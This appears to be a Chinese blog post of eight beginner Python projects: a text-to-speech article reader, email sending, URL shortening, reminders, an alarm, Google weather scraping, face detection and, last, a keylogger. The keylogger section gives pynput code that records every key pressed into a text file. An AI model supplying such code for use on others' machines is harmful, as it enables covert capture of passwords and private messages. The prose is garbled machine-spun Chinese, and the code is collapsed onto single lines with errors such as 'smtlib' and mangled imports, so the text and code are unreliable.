大家好，我是陈程~

在应用Python的过程中，我最喜爱的就是Python的各种第三方库，可能实现很多操作。

上面就给大家介绍8个通过Python构建的我的项目，以此来学习Python编程。

大家也可依据我的项目的目标及提醒，本人构建解决办法，进步编程程度。

01 文章朗诵器

目标：编写一个Python脚本，主动从提供的链接读取文章。

import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input("Paste article url\n"))def content(url):res = requests.get(url)soup = BeautifulSoup(res.text,'html.parser')articles = []for i in range(len(soup.select('.p'))):article = soup.select('.p')[i].getText().strip()articles.append(article)contents = " ".join(articles)return contentsengine = pyttsx3.init('sapi5')voices = engine.getProperty('voices')engine.setProperty('voice', voices[0].id)\def speak(audio):engine.say(audio)engine.runAndWait()\contents = content(url)## print(contents) ## In case you want to see the content#engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file

02 主动发送邮件

目标：编写一个Python脚本，能够应用这个脚本发送电子邮件。

提醒：email库可用于发送电子邮件。

import smtplib from email.message import EmailMessageemail = EmailMessage() ## Creating a object for EmailMessageemail['from'] = 'xyz name'   ## Person who is sendingemail['to'] = 'xyz id'       ## Whom we are sendingemail['subject'] = 'xyz subject'  ## Subject of emailemail.set_content("Xyz content of email") ## content of emailwith smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     ## sending request to server     smtp.ehlo()          ## server objectsmtp.starttls()      ## used to send data between server and clientsmtp.login("email_id","Password") ## login id and password of gmailsmtp.send_message(email)   ## Sending emailprint("email send")    ## Printing success message

03 短网址生成器

目标：编写一个Python脚本，应用API缩短给定的URL。

fromfutureimport with_statementimport contextlibtry:from urllib.parse import urlencodeexcept ImportError:from urllib import urlencodetry:from urllib.request import urlopenexcept ImportError:from urllib2 import urlopenimport sysdef make_tiny(url):request_url = ('tinyurl.com/api-create.…urlencode({'url':url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode('utf-8')def main():for tinyurl in map(make_tiny, sys.argv[1:]):print(tinyurl)ifname== 'main':main()-----------------------------OUTPUT------------------------python url_shortener.pywww.wikipedia.org/tinyurl.com/buf3qt3

04 揭示利用

目标：创立一个揭示应用程序，在特定的工夫揭示你做一些事件(桌面告诉)。

提醒：Time模块能够用来跟踪揭示工夫，toastnotifier库能够用来显示桌面告诉。

装置：win10toast

from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try:print("Title of reminder")header = input()print("Message of reminder")text = input()print("In how many minutes?")time_min = input()time_min=float(time_min)except:header = input("Title of reminder\n")text = input("Message of remindar\n")time_min=float(input("In how many minutes?\n"))time_min = time_min * 60print("Setting up reminder..")time.sleep(2)print("all set!")time.sleep(time_min)toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)

05 闹钟

目标：编写一个创立闹钟的Python脚本。

提醒：你能够应用date-time模块创立闹钟，以及playsound库播放声音。

from datetime import datetimefrom playsound import playsoundalarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print("Setting up alarm..")while True:now = datetime.now()current_hour = now.strftime("%I")current_minute = now.strftime("%M")current_seconds = now.strftime("%S")current_period = now.strftime("%p")if(alarm_period==current_period):if(alarm_hour==current_hour):if(alarm_minute==current_minute):if(alarm_seconds==current_seconds):print("Wake Up!")playsound('audio.mp3') ## download the alarm sound from linkbreak

06 天气利用

目标：编写一个Python脚本，接管城市名称并应用爬虫获取该城市的天气信息。

提醒：你能够应用Beautifulsoup和requests库间接从谷歌主页爬取数据。

装置：requests，BeautifulSoup

from bs4 import BeautifulSoupimport requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}def weather(city):city=city.replace(" ","+")res = requests.get(f'www.google.com/search?q={c…print("Searching in google......\n")soup = BeautifulSoup(res.text,'html.parser')location = soup.select('#wob_loc')[0].getText().strip()time = soup.select('#wob_dts')[0].getText().strip()info = soup.select('#wob_dc')[0].getText().strip()weather = soup.select('#wob_tm')[0].getText().strip()print(location)print(time)print(info)print(weather+"°C")print("enter the city name")city=input()city=city+" weather"weather(city)

07 人脸检测

目标：编写一个Python脚本，能够检测图像中的人脸，并将所有的人脸保留在一个文件夹中。

提醒：能够应用haar级联分类器对人脸进行检测。它返回的人脸坐标信息，能够保留在一个文件中。

装置：OpenCV。

下载：haarcascade_frontalface_default.xml\

raw.githubusercontent.com/opencv/open…

import cv2# Load the cascadeface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')# Read the input imageimg = cv2.imread('images/img0.jpg')# Convert into grayscalegray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# Detect facesfaces = face_cascade.detectMultiScale(gray, 1.3, 4)# Draw rectangle around the facesfor (x, y, w, h) in faces:cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)crop_face = img[y:y + h, x:x + w]cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)# Display the outputcv2.imshow('img', img)cv2.imshow("imgcropped",crop_face)cv2.waitKey()

08 键盘记录器

目标：编写一个Python脚本，将用户按下的所有键保留在一个文本文件中。

提醒：pynput是Python中的一个库，用于管制键盘和鼠标的挪动，它也能够用于制作键盘记录器。简略地读取用户按下的键，并在肯定数量的键后将它们保留在一个文本文件中。

from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()keys=[]def on_press(key):global keys#keys.append(str(key).replace("'",""))string = str(key).replace("'","")keys.append(string)main_string = "".join(keys)print(main_string)if len(main_string)>15:with open('keys.txt', 'a') as f:f.write(main_string)keys= []def on_release(key):if key == Key.esc:return Falsewith listener(on_press=on_press,on_release=on_release) as listener:listener.join()
